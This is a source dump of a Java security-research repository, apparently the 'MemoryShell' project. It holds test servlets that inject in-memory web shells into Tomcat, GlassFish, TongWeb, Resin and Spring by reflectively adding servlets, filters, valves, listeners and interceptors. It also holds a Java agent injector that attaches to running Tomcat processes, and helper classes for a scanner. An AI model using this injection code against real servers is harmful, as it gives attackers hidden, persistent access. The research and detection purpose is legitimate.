19 |
20 |
21 | IndexServlet
22 | /index
23 |
24 |
25 |
26 | AddJettyServlet
27 | /addJettyServlet
28 |
29 |
30 |
31 | AddJettyFilter
32 | /addJettyFilter
33 |
34 |
--------------------------------------------------------------------------------
/memshell-scanner/src/main/java/org/su18/memshell/scanner/asm/SuMethodDesc.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.scanner.asm;
2 |
3 | /**
4 | * 自定义方法描述类
5 | *
6 | * @author su18
7 | */
8 | public class SuMethodDesc {
9 |
10 | private final SuClassDesc suClassDesc;
11 |
12 | private final int methodAccess;
13 |
14 | private final String methodSignature;
15 |
16 | private final String[] exceptions;
17 |
18 | private final String methodName;
19 |
20 | private final String methodArgsDesc;
21 |
22 | public SuMethodDesc(SuClassDesc suClassDesc, int methodAccess, String methodSignature,
23 | String[] exceptions, String methodName, String methodArgsDesc) {
24 |
25 | this.suClassDesc = suClassDesc;
26 | this.methodAccess = methodAccess;
27 | this.methodSignature = methodSignature;
28 | this.exceptions = exceptions;
29 | this.methodName = methodName;
30 | this.methodArgsDesc = methodArgsDesc;
31 | }
32 |
33 | public SuClassDesc getSuClassDesc() {
34 | return suClassDesc;
35 | }
36 |
37 | public int getMethodAccess() {
38 | return methodAccess;
39 | }
40 |
41 | public String getMethodSignature() {
42 | return methodSignature;
43 | }
44 |
45 | public String[] getExceptions() {
46 | return exceptions;
47 | }
48 |
49 | public String getMethodName() {
50 | return methodName;
51 | }
52 |
53 | public String getMethodArgsDesc() {
54 | return methodArgsDesc;
55 | }
56 |
57 | }
--------------------------------------------------------------------------------
/memshell-loader/src/main/java/org/su18/memshell/loader/commons/AgentCache.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.loader.commons;
2 |
3 | import java.lang.instrument.ClassFileTransformer;
4 | import java.lang.instrument.Instrumentation;
5 | import java.util.Collections;
6 | import java.util.HashSet;
7 | import java.util.Set;
8 |
9 | /**
10 | * Agent 缓存类
11 | *
12 | * @author su18
13 | */
14 | public class AgentCache {
15 |
16 | private Instrumentation instrumentation;
17 |
18 | private final Set modifiedClass = Collections.synchronizedSet(new HashSet());
19 |
20 | private final Set reTransformClass = Collections.synchronizedSet(new HashSet());
21 |
22 | private final Set transformers = Collections.synchronizedSet(new HashSet());
23 |
24 | public Instrumentation getInstrumentation() {
25 | return instrumentation;
26 | }
27 |
28 | public void setInstrumentation(Instrumentation instrumentation) {
29 | this.instrumentation = instrumentation;
30 | }
31 |
32 | public Set getModifiedClass() {
33 | return modifiedClass;
34 | }
35 |
36 | public Set getTransformers() {
37 | return transformers;
38 | }
39 |
40 | public Set getReTransformClass() {
41 | return reTransformClass;
42 | }
43 |
44 | public void clear() {
45 | instrumentation = null;
46 | modifiedClass.clear();
47 | reTransformClass.clear();
48 | transformers.clear();
49 | }
50 |
51 | }
--------------------------------------------------------------------------------
/memshell-test/memshell-test-glassfish/web/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 | AddGlassFishFilter
9 | org.su18.memshell.test.glassfish.AddGlassFishFilter
10 |
11 |
12 |
13 | AddGlassFishFilter
14 | /addGlassFishFilter
15 |
16 |
17 |
18 | AddGlassFishServiceList
19 | org.su18.memshell.test.glassfish.AddGlassFishServiceList
20 |
21 |
22 |
23 | AddGlassFishServiceList
24 | /addGlassFishServiceList
25 |
26 |
27 |
28 | IndexServlet
29 | org.su18.memshell.test.glassfish.IndexServlet
30 |
31 |
32 |
33 | IndexServlet
34 | /index
35 |
36 |
37 |
--------------------------------------------------------------------------------
/memshell-inject/src/main/java/org/su18/memshell/agent/TestAgent.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.agent;
2 |
3 | import java.lang.instrument.Instrumentation;
4 | import java.lang.reflect.Modifier;
5 | import java.util.ArrayList;
6 | import java.util.Arrays;
7 | import java.util.List;
8 |
9 | /**
10 | * @author su18
11 | */
12 | public class TestAgent {
13 |
14 | /**
15 | * 主要函数 agentmain
16 | *
17 | * @param inst Instrumentation对象
18 | */
19 | public static void agentmain(String agentArgs, Instrumentation inst) {
20 |
21 | // 交给自定义 Transformer
22 | inst.addTransformer(new TestTransformer(), true);
23 |
24 | // 拿到所有加载的类判断进行 retransform
25 | Class>[] loadedClasses = inst.getAllLoadedClasses();
26 | for (Class> c : loadedClasses) {
27 |
28 | // 忽略接口和抽象类
29 | if (Modifier.isInterface(c.getModifiers()) && Modifier.isAbstract(c.getModifiers())) {
30 | continue;
31 | }
32 |
33 | List> list = Arrays.asList(c.getInterfaces());
34 | for (Class> o : list) {
35 | Class>[] classes = o.getInterfaces();
36 | list = new ArrayList<>(list);
37 | list.addAll(Arrays.asList(classes));
38 | }
39 |
40 |
41 | for (Class> cs : list) {
42 | if ("javax.servlet.http.HttpServletRequest".equals(cs.getName())) {
43 | System.out.println("add retransform classes: " + c.getName());
44 | try {
45 | inst.retransformClasses(c);
46 | break;
47 | } catch (Exception e) {
48 | e.printStackTrace();
49 | }
50 | }
51 | }
52 | }
53 | }
54 |
55 | }
56 |
--------------------------------------------------------------------------------
/memshell-inject/src/main/java/org/su18/memshell/inject/AttachAgent.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.inject;
2 |
3 |
4 | import com.sun.tools.attach.VirtualMachine;
5 | import com.sun.tools.attach.VirtualMachineDescriptor;
6 |
7 | import java.io.File;
8 | import java.util.List;
9 |
10 | /**
11 | * agent 注入进程
12 | *
13 | * @author su18
14 | */
15 | public class AttachAgent {
16 |
17 | /**
18 | * 用来注入的 main 方法
19 | *
20 | * @param args 参数
21 | * @throws Exception 异常
22 | */
23 | public static void main(String[] args) throws Exception {
24 |
25 | VirtualMachine vm;
26 | List vmList;
27 |
28 | String currentPath = AttachAgent.class.getProtectionDomain().getCodeSource().getLocation().getPath();
29 | currentPath = currentPath.substring(0, currentPath.lastIndexOf("/") + 1);
30 | String agentFile = new File(currentPath + "../memshell-inject-1.0.0.jar").getCanonicalPath();
31 |
32 | // 循环 JVM 进程,查找有 catalina 关键字的虚拟机
33 | try {
34 | vmList = VirtualMachine.list();
35 | for (VirtualMachineDescriptor vmd : vmList) {
36 | if (vmd.displayName().contains("catalina") || "".equals(vmd.displayName())) {
37 | vm = VirtualMachine.attach(vmd);
38 |
39 | // 兼容 windows 上的 Tomcat Service
40 | if ("".equals(vmd.displayName()) && !vm.getSystemProperties().containsKey("catalina.home")) {
41 | continue;
42 | }
43 |
44 | if (null != vm) {
45 | vm.loadAgent(agentFile);
46 | System.out.println("MemoryShell has been injected.");
47 | vm.detach();
48 | return;
49 | }
50 | }
51 | }
52 |
53 | System.out.println("No Tomcat Virtual Machine found.");
54 | } catch (Exception e) {
55 | e.printStackTrace();
56 | }
57 | }
58 |
59 |
60 | }
61 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-tomcat/src/org/su18/memshell/test/tomcat/AddTomcatListener.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.tomcat;
2 |
3 | import org.apache.catalina.core.StandardContext;
4 |
5 | import javax.servlet.ServletContext;
6 | import javax.servlet.ServletException;
7 | import javax.servlet.http.HttpServlet;
8 | import javax.servlet.http.HttpServletRequest;
9 | import javax.servlet.http.HttpServletResponse;
10 | import java.io.IOException;
11 | import java.lang.reflect.Field;
12 |
13 | import static org.su18.memshell.test.tomcat.DynamicUtils.LISTENER_CLASS_STRING;
14 |
15 | /**
16 | * 访问这个 Servlet 将会动态添加自定义 Listener
17 | * 测试版本 Tomcat 8.5.31
18 | *
19 | * @author su18
20 | */
21 | public class AddTomcatListener extends HttpServlet {
22 |
23 | @Override
24 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
25 |
26 | ServletContext servletContext = req.getServletContext();
27 |
28 | StandardContext o = null;
29 |
30 | try {
31 |
32 | // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
33 | while (o == null) {
34 | Field f = servletContext.getClass().getDeclaredField("context");
35 | f.setAccessible(true);
36 | Object object = f.get(servletContext);
37 |
38 | if (object instanceof ServletContext) {
39 | servletContext = (ServletContext) object;
40 | } else if (object instanceof StandardContext) {
41 | o = (StandardContext) object;
42 | }
43 | }
44 |
45 | // 添加监听器
46 | o.addApplicationEventListener(DynamicUtils.getClass(LISTENER_CLASS_STRING).newInstance());
47 |
48 | resp.getWriter().println("tomcat listener added");
49 |
50 | } catch (Exception e) {
51 | e.printStackTrace();
52 | }
53 |
54 | }
55 | }
56 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-apusic/src/org/su18/memshell/test/apusic/NewFilter.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.apusic;
2 |
3 | import javax.servlet.*;
4 | import javax.servlet.http.HttpServletRequest;
5 | import javax.servlet.http.HttpServletRequestWrapper;
6 | import java.io.IOException;
7 |
8 | /**
9 | * @author su18
10 | */
11 | public class NewFilter implements Filter {
12 |
13 | /**
14 | * 初始化 filter
15 | *
16 | * @param filterConfig FilterConfig
17 | */
18 | @Override
19 | public void init(FilterConfig filterConfig) {
20 | }
21 |
22 | /**
23 | * doFilter 方法处理过滤器逻辑
24 | *
25 | * @param servletRequest ServletRequest
26 | * @param servletResponse ServletResponse
27 | * @param filterChain FilterChain
28 | * @throws IOException 抛出异常
29 | * @throws ServletException 抛出异常
30 | */
31 | @Override
32 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
33 | // 给下一个过滤器
34 | filterChain.doFilter(new FilterRequest((HttpServletRequest) servletRequest), servletResponse);
35 | }
36 |
37 | /**
38 | * 销毁时执行的方法
39 | */
40 | @Override
41 | public void destroy() {
42 | }
43 |
44 | /**
45 | * 自定义 FilterRequest 重写 getParameter 方法处理 id 值
46 | */
47 | class FilterRequest extends HttpServletRequestWrapper {
48 |
49 | public FilterRequest(HttpServletRequest request) {
50 | super(request);
51 | }
52 |
53 | @Override
54 | public String getParameter(String name) {
55 | if ("id".equals(name)) {
56 | String originalId = super.getParameter(name);
57 |
58 | if (originalId != null && !originalId.isEmpty()) {
59 | int idNum = (Integer.parseInt(originalId) + 1);
60 | return Integer.toString(idNum);
61 | }
62 | }
63 | return super.getParameter(name);
64 | }
65 | }
66 | }
--------------------------------------------------------------------------------
/memshell-test/memshell-test-tomcat/src/org/su18/memshell/test/tomcat/AddTomcatValve.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.tomcat;
2 |
3 | import org.apache.catalina.Valve;
4 | import org.apache.catalina.core.StandardContext;
5 |
6 | import javax.servlet.ServletContext;
7 | import javax.servlet.ServletException;
8 | import javax.servlet.http.HttpServlet;
9 | import javax.servlet.http.HttpServletRequest;
10 | import javax.servlet.http.HttpServletResponse;
11 | import java.io.IOException;
12 | import java.lang.reflect.Field;
13 |
14 | import static org.su18.memshell.test.tomcat.DynamicUtils.VALVE_CLASS_STRING;
15 |
16 | /**
17 | * 访问这个 Servlet 将会动态添加自定义 Valve
18 | * 测试版本 Tomcat 8.5.31
19 | *
20 | * @author su18
21 | */
22 | public class AddTomcatValve extends HttpServlet {
23 |
24 | @Override
25 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
26 |
27 | try {
28 |
29 | // 从 request 中获取 servletContext
30 | ServletContext servletContext = req.getServletContext();
31 |
32 | // 如果已有此 servletName 的 Servlet,则不再重复添加
33 | StandardContext o = null;
34 |
35 | // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
36 | while (o == null) {
37 | Field f = servletContext.getClass().getDeclaredField("context");
38 | f.setAccessible(true);
39 | Object object = f.get(servletContext);
40 |
41 | if (object instanceof ServletContext) {
42 | servletContext = (ServletContext) object;
43 | } else if (object instanceof StandardContext) {
44 | o = (StandardContext) object;
45 | }
46 | }
47 |
48 | // 添加自定义 Valve
49 | o.addValve((Valve) DynamicUtils.getClass(VALVE_CLASS_STRING).newInstance());
50 |
51 | resp.getWriter().println("tomcat valve added");
52 |
53 | } catch (Exception e) {
54 | e.printStackTrace();
55 | }
56 |
57 | }
58 |
59 | }
60 |
--------------------------------------------------------------------------------
/memshell-scanner/src/main/java/org/su18/memshell/scanner/asm/SuClassWriter.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.scanner.asm;
2 |
3 | import org.objectweb.asm.ClassReader;
4 | import org.objectweb.asm.ClassWriter;
5 | import org.su18.memshell.scanner.utils.ClassUtils;
6 |
7 | import java.util.Set;
8 |
9 | /**
10 | * @author su18
11 | */
12 | public class SuClassWriter extends ClassWriter {
13 |
14 | private static final String OBJECT_CLASS = Object.class.getName().replace(".", "/");
15 |
16 | private final ClassLoader classLoader;
17 |
18 | public SuClassWriter(ClassReader classReader, int flags, ClassLoader classLoader) {
19 | super(classReader, flags);
20 | this.classLoader = classLoader;
21 | }
22 |
23 | /**
24 | * 重写计算两个类的父类逻辑
25 | *
26 | * @param type1 类1
27 | * @param type2 类2
28 | * @return 父类名
29 | */
30 | @Override
31 | protected String getCommonSuperClass(final String type1, final String type2) {
32 | String className1 = ClassUtils.toJavaName(type1);
33 | String className2 = ClassUtils.toJavaName(type2);
34 | ClassLoader loader = classLoader;
35 |
36 | // 如果类加载器为空,可能是AppClassLoader类加载器加载的
37 | if (classLoader == null) {
38 | loader = ClassLoader.getSystemClassLoader();
39 | }
40 |
41 | // 获取当前类的所有父类类名或知实现了的所有接口类类名
42 | Set superClassList1 = ClassUtils.getSuperClassListByAsm(className1, loader);
43 |
44 | // 求A∩B,如果A∩B不为空,说明A是B的父类
45 | if (superClassList1.contains(className2)) {
46 | return type2;
47 | }
48 |
49 | Set superClassList2 = ClassUtils.getSuperClassListByAsm(className2, loader);
50 |
51 | // 求B∩A,如果B∩A不为空,说明B是A的父类
52 | if (superClassList2.contains(className1)) {
53 | return type1;
54 | }
55 |
56 | // 取出A类的所有父类和B类的所有父类的交集类名称(排除Object类)
57 | for (String claName : superClassList1) {
58 | if (superClassList2.contains(claName)) {
59 | return ClassUtils.toAsmClassName(claName);
60 | }
61 | }
62 |
63 | return OBJECT_CLASS;
64 | }
65 |
66 | }
--------------------------------------------------------------------------------
/memshell-spring/src/main/java/org/su18/memshell/spring/controller/AddInterceptor.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.spring.controller;
2 |
3 | import org.springframework.stereotype.Controller;
4 | import org.springframework.web.bind.annotation.GetMapping;
5 | import org.springframework.web.bind.annotation.RequestMapping;
6 | import org.springframework.web.context.WebApplicationContext;
7 | import org.springframework.web.context.request.RequestContextHolder;
8 | import org.springframework.web.context.request.ServletRequestAttributes;
9 | import org.springframework.web.servlet.HandlerInterceptor;
10 | import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
11 | import org.springframework.web.servlet.support.RequestContextUtils;
12 |
13 | import javax.servlet.http.HttpServletRequest;
14 | import javax.servlet.http.HttpServletResponse;
15 | import java.lang.reflect.Field;
16 | import java.util.List;
17 |
18 | import static org.su18.memshell.spring.controller.DynamicUtils.INTERCEPTOR_CLASS_STRING;
19 |
20 | /**
21 | * 访问此接口动态添加 Interceptor
22 | *
23 | * @author su18
24 | */
25 | @Controller
26 | @RequestMapping(value = "/addInterceptor")
27 | public class AddInterceptor {
28 |
29 | @GetMapping()
30 | public void index(HttpServletRequest request, HttpServletResponse response) throws Exception {
31 |
32 | // 获取当前应用上下文
33 | WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
34 |
35 | // 通过 context 获取 RequestMappingHandlerMapping 对象
36 | RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
37 |
38 | // 为什么写三个 getSuperclass ?就是玩~
39 | Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
40 | f.setAccessible(true);
41 | List list = (List) f.get(mapping);
42 | list.add((HandlerInterceptor) DynamicUtils.getClass(INTERCEPTOR_CLASS_STRING).newInstance());
43 | response.getWriter().println("interceptor added");
44 |
45 |
46 | }
47 | }
--------------------------------------------------------------------------------
/memshell-inject/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 | MemoryShell
7 | org.su18
8 | 1.0.0
9 |
10 | 4.0.0
11 |
12 |
13 |
14 | org.javassist
15 | javassist
16 | 3.20.0-GA
17 |
18 |
19 |
20 |
21 | com.sun
22 | tools
23 | 1.8.0
24 | system
25 | /Library/Java/JavaVirtualMachines/jdk1.8.0_131.jdk/Contents/Home/lib/tools.jar
26 |
27 |
28 |
29 | memshell-inject
30 |
31 |
32 |
33 |
34 | maven-assembly-plugin
35 |
36 | false
37 |
38 | jar-with-dependencies
39 |
40 |
41 | src/main/resources/MANIFEST.MF
42 |
43 |
44 |
45 |
46 | make-assembly
47 | package
48 |
49 | assembly
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
--------------------------------------------------------------------------------
/memshell-scanner/src/main/java/org/su18/memshell/scanner/asm/SuClassDesc.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.scanner.asm;
2 |
3 | import org.objectweb.asm.ClassWriter;
4 |
5 | /**
6 | * Class 信息描述类
7 | *
8 | * @author su18
9 | */
10 | public class SuClassDesc {
11 |
12 | /**
13 | * ASM版本
14 | */
15 | private final int api;
16 |
17 | /**
18 | * JDK版本
19 | */
20 | private final int version;
21 |
22 | /**
23 | * 类访问级别
24 | */
25 | private final int access;
26 |
27 | /**
28 | * 类名
29 | */
30 | private final String className;
31 |
32 | /**
33 | * 签名
34 | */
35 | private final String signature;
36 |
37 | /**
38 | * 父类名
39 | */
40 | private final String superClassName;
41 |
42 | /**
43 | * 实现的所有的接口名
44 | */
45 | private final String[] interfacesClass;
46 |
47 | /**
48 | * 类加载器
49 | */
50 | private final ClassLoader classLoader;
51 |
52 | /**
53 | * 类字节码
54 | */
55 | private final byte[] classfileBuffer;
56 |
57 | private final ClassWriter classVisitor;
58 |
59 | public SuClassDesc(final int api, final int version, final int access,
60 | final String className, final String signature,
61 | final String superClassName, final String[] interfacesClass,
62 | final ClassLoader classLoader, final byte[] classfileBuffer,
63 | final ClassWriter classVisitor) {
64 |
65 | this.api = api;
66 | this.version = version;
67 | this.access = access;
68 | this.className = className;
69 | this.signature = signature;
70 | this.superClassName = superClassName;
71 | this.interfacesClass = interfacesClass;
72 | this.classLoader = classLoader;
73 | this.classfileBuffer = classfileBuffer;
74 | this.classVisitor = classVisitor;
75 | }
76 |
77 | public int getApi() {
78 | return api;
79 | }
80 |
81 | public int getVersion() {
82 | return version;
83 | }
84 |
85 | public int getAccess() {
86 | return access;
87 | }
88 |
89 | public String getClassName() {
90 | return className;
91 | }
92 |
93 | public String getSignature() {
94 | return signature;
95 | }
96 |
97 | public String getSuperClassName() {
98 | return superClassName;
99 | }
100 |
101 | public String[] getInterfacesClass() {
102 | return interfacesClass;
103 | }
104 |
105 | public ClassLoader getClassLoader() {
106 | return classLoader;
107 | }
108 |
109 | public byte[] getClassfileBuffer() {
110 | return classfileBuffer;
111 | }
112 |
113 | }
--------------------------------------------------------------------------------
/memshell-test/memshell-test-tomcat/src/org/su18/memshell/test/tomcat/AddTomcatServlet.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.tomcat;
2 |
3 | import org.apache.catalina.Wrapper;
4 | import org.apache.catalina.core.StandardContext;
5 |
6 | import javax.servlet.Servlet;
7 | import javax.servlet.ServletContext;
8 | import javax.servlet.ServletException;
9 | import javax.servlet.http.HttpServlet;
10 | import javax.servlet.http.HttpServletRequest;
11 | import javax.servlet.http.HttpServletResponse;
12 | import java.io.IOException;
13 | import java.io.PrintWriter;
14 | import java.lang.reflect.Field;
15 |
16 | import static org.su18.memshell.test.tomcat.DynamicUtils.SERVLET_CLASS_STRING;
17 |
18 |
19 | /**
20 | * 访问这个 Servlet 将会动态添加自定义 Servlet
21 | * 测试版本 Tomcat 8.5.31
22 | *
23 | * @author su18
24 | */
25 | public class AddTomcatServlet extends HttpServlet {
26 |
27 | @Override
28 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
29 |
30 | try {
31 |
32 | String servletName = "su18Servlet";
33 |
34 | // 从 request 中获取 servletContext
35 | ServletContext servletContext = req.getServletContext();
36 |
37 | // 如果已有此 servletName 的 Servlet,则不再重复添加
38 | if (servletContext.getServletRegistration(servletName) == null) {
39 |
40 | StandardContext o = null;
41 |
42 | // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
43 | while (o == null) {
44 | Field f = servletContext.getClass().getDeclaredField("context");
45 | f.setAccessible(true);
46 | Object object = f.get(servletContext);
47 |
48 | if (object instanceof ServletContext) {
49 | servletContext = (ServletContext) object;
50 | } else if (object instanceof StandardContext) {
51 | o = (StandardContext) object;
52 | }
53 | }
54 |
55 | // 创建自定义 Servlet
56 | Class> servletClass = DynamicUtils.getClass(SERVLET_CLASS_STRING);
57 |
58 | // 使用 Wrapper 封装 Servlet
59 | Wrapper wrapper = o.createWrapper();
60 | wrapper.setName(servletName);
61 | wrapper.setLoadOnStartup(1);
62 | wrapper.setServlet((Servlet) servletClass.newInstance());
63 | wrapper.setServletClass(servletClass.getName());
64 |
65 | // 向 children 中添加 wrapper
66 | o.addChild(wrapper);
67 |
68 | // 添加 servletMappings
69 | o.addServletMapping("/su18", servletName);
70 |
71 | PrintWriter writer = resp.getWriter();
72 | writer.println("tomcat servlet added");
73 |
74 | }
75 | } catch (Exception e) {
76 | e.printStackTrace();
77 | }
78 | }
79 | }
80 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-tomcat/web/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 |
9 | IndexServlet
10 | org.su18.memshell.test.tomcat.IndexServlet
11 |
12 |
13 |
14 |
15 | QuertStringServlet
16 | org.su18.memshell.test.tomcat.QueryStringServlet
17 |
18 |
19 |
20 | IndexServlet
21 | /index
22 |
23 |
24 |
25 |
26 | QuertStringServlet
27 | /query
28 |
29 |
30 |
31 | AddTomcatListener
32 | org.su18.memshell.test.tomcat.AddTomcatListener
33 |
34 |
35 |
36 | AddTomcatFilterServlet
37 | org.su18.memshell.test.tomcat.AddTomcatFilter
38 |
39 |
40 |
41 | AddTomcatServlet
42 | org.su18.memshell.test.tomcat.AddTomcatServlet
43 |
44 |
45 |
46 | AddTomcatValve
47 | org.su18.memshell.test.tomcat.AddTomcatValve
48 |
49 |
50 |
51 | AddTomcatFilterServlet
52 | /addTomcatFilter
53 |
54 |
55 |
56 | AddTomcatServlet
57 | /addTomcatServlet
58 |
59 |
60 |
61 | AddTomcatListener
62 | /addTomcatListener
63 |
64 |
65 |
66 | AddTomcatValve
67 | /addTomcatValve
68 |
69 |
70 |
71 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-tongweb/src/org/su18/memshell/test/tongweb/AddTongWebServlet.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.tongweb;
2 |
3 | import com.tongweb.catalina.Wrapper;
4 | import com.tongweb.catalina.core.StandardContext;
5 |
6 | import javax.servlet.Servlet;
7 | import javax.servlet.ServletContext;
8 | import javax.servlet.ServletException;
9 | import javax.servlet.http.HttpServlet;
10 | import javax.servlet.http.HttpServletRequest;
11 | import javax.servlet.http.HttpServletResponse;
12 | import java.io.IOException;
13 | import java.io.PrintWriter;
14 | import java.lang.reflect.Field;
15 |
16 | import static org.su18.memshell.test.tongweb.DynamicUtils.SERVLET_CLASS_STRING;
17 |
18 | /**
19 | * TongWeb ≈ Tomcat
20 | * 亲测有效
21 | * 测试版本 TongWeb 7.0.25
22 | *
23 | * @author su18
24 | */
25 | public class AddTongWebServlet extends HttpServlet {
26 |
27 | @Override
28 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
29 |
30 | try {
31 |
32 | String servletName = "su18TongWebServlet";
33 |
34 | // 从 request 中获取 servletContext
35 | ServletContext servletContext = req.getServletContext();
36 |
37 | // 如果已有此 servletName 的 Servlet,则不再重复添加
38 | if (servletContext.getServletRegistration(servletName) == null) {
39 |
40 | StandardContext o = null;
41 |
42 | // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
43 | while (o == null) {
44 | Field f = servletContext.getClass().getDeclaredField("context");
45 | f.setAccessible(true);
46 | Object object = f.get(servletContext);
47 |
48 | if (object instanceof ServletContext) {
49 | servletContext = (ServletContext) object;
50 | } else if (object instanceof StandardContext) {
51 | o = (StandardContext) object;
52 | }
53 | }
54 |
55 | // 创建自定义 Servlet
56 | Class> servletClass = DynamicUtils.getClass(SERVLET_CLASS_STRING);
57 |
58 | // 使用 Wrapper 封装 Servlet
59 | Wrapper wrapper = o.createWrapper();
60 | wrapper.setName(servletName);
61 | wrapper.setLoadOnStartup(1);
62 | wrapper.setServlet((Servlet) servletClass.newInstance());
63 | wrapper.setServletClass(servletClass.getName());
64 |
65 | // 向 children 中添加 wrapper
66 | o.addChild(wrapper);
67 |
68 | // 添加 servletMappings
69 | o.addServletMapping("/su18", servletName);
70 |
71 | PrintWriter writer = resp.getWriter();
72 | writer.println("tongweb servlet added");
73 |
74 | }
75 | } catch (Exception e) {
76 | e.printStackTrace();
77 | }
78 | }
79 | }
--------------------------------------------------------------------------------
/memshell-inject/src/main/java/org/su18/memshell/agent/TestTransformer.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.agent;
2 |
3 | import javassist.ClassClassPath;
4 | import javassist.ClassPool;
5 | import javassist.CtClass;
6 | import javassist.CtMethod;
7 |
8 | import java.io.FileOutputStream;
9 | import java.io.IOException;
10 | import java.lang.instrument.ClassFileTransformer;
11 | import java.lang.instrument.IllegalClassFormatException;
12 | import java.security.ProtectionDomain;
13 | import java.util.regex.Pattern;
14 |
15 | /**
16 | * ClassFileTransformer 实现类
17 | *
18 | * @author su18
19 | */
20 | public class TestTransformer implements ClassFileTransformer {
21 |
22 | @Override
23 | public byte[] transform(ClassLoader loader, String className, Class> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
24 |
25 | try {
26 | className = className.replace("/", ".");
27 |
28 | // 忽略无用类
29 | if (!className.startsWith("org.su18")) {
30 | System.out.println(className);
31 |
32 | ClassPool cp = ClassPool.getDefault();
33 | ClassClassPath classPath = new ClassClassPath(classBeingRedefined);
34 | cp.insertClassPath(classPath);
35 | CtClass cc = cp.get(className);
36 | CtMethod m = cc.getDeclaredMethod("getQueryString");
37 |
38 | try {
39 | m.addLocalVariable("elapsedTime", CtClass.longType);
40 | m.insertBefore(insertSource());
41 | byte[] byteCode = cc.toBytecode();
42 | cc.detach();
43 | System.out.println("retransform: " + className);
44 |
45 | // dump 出经过 retransform 的 class
46 | dumpClass(className, byteCode);
47 | return byteCode;
48 | } catch (Exception ignored) {
49 |
50 | }
51 |
52 | }
53 |
54 |
55 | } catch (Exception e) {
56 | e.printStackTrace();
57 | }
58 |
59 | return null;
60 | }
61 |
62 | public String insertSource() {
63 | return "return \"the world is full of kings and queens who blind your eyes and steal your dreams\";";
64 |
65 | }
66 |
67 | private static void dumpClass(String className, byte[] classfileBuffer) throws IOException {
68 | String regexp = "\\b(ApplicationFilterChain|ResponseFacade|RequestFacade)$";
69 |
70 | if (Pattern.compile(regexp).matcher(className).find()) {
71 | className = className.substring(className.lastIndexOf(".") + 1);
72 |
73 | FileOutputStream fos = new FileOutputStream("/Users/phoebe/IdeaProjects/MemoryShell/" +
74 | "memshell-inject/target/" + className + ".class");
75 | fos.write(classfileBuffer);
76 | fos.close();
77 | }
78 | }
79 |
80 |
81 | }
82 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-resin/src/org/su18/memshell/test/resin/AddResinServlet.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.resin;
2 |
3 | import com.caucho.server.dispatch.ServletMapper;
4 | import com.caucho.server.dispatch.ServletMapping;
5 | import com.caucho.server.webapp.WebApp;
6 |
7 | import javax.servlet.Servlet;
8 | import javax.servlet.ServletException;
9 | import javax.servlet.http.HttpServlet;
10 | import javax.servlet.http.HttpServletRequest;
11 | import javax.servlet.http.HttpServletResponse;
12 | import java.io.IOException;
13 | import java.lang.reflect.Field;
14 | import java.util.HashSet;
15 | import java.util.Map;
16 | import java.util.Set;
17 |
18 | import static org.su18.memshell.test.resin.DynamicUtils.SERVLET_CLASS_STRING;
19 |
20 | /**
21 | * 来自文章 https://xz.aliyun.com/t/9639
22 | * 亲测有效
23 | * 测试版本 Resin 4.0.65
24 | *
25 | * @author su18
26 | */
27 | public class AddResinServlet extends HttpServlet {
28 |
29 | @Override
30 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
31 |
32 | try {
33 |
34 | String servletName = "su18ResinServlet";
35 | String servletUrl = "/su18";
36 | com.caucho.server.webapp.WebApp web = (com.caucho.server.webapp.WebApp) req.getServletContext();
37 |
38 | Servlet servlet = (Servlet) DynamicUtils.getClass(SERVLET_CLASS_STRING).newInstance();
39 |
40 | com.caucho.server.dispatch.ServletMapping mapping = new com.caucho.server.dispatch.ServletMapping();
41 | mapping.setServletClass(servlet.getClass().getName());
42 | mapping.setServletName(servletName);
43 | mapping.addURLPattern(servletUrl);
44 | web.addServletMapping(mapping);
45 |
46 | Field f = WebApp.class.getDeclaredField("_servletMapper");
47 | f.setAccessible(true);
48 | ServletMapper servletMapper = (ServletMapper) f.get(web);
49 |
50 | Field f2 = ServletMapper.class.getDeclaredField("_urlPatterns");
51 | f2.setAccessible(true);
52 | Map> map = (Map>) f2.get(servletMapper);
53 | HashSet set = new HashSet<>();
54 | set.add(servletUrl);
55 |
56 | map.put(servletName, set);
57 |
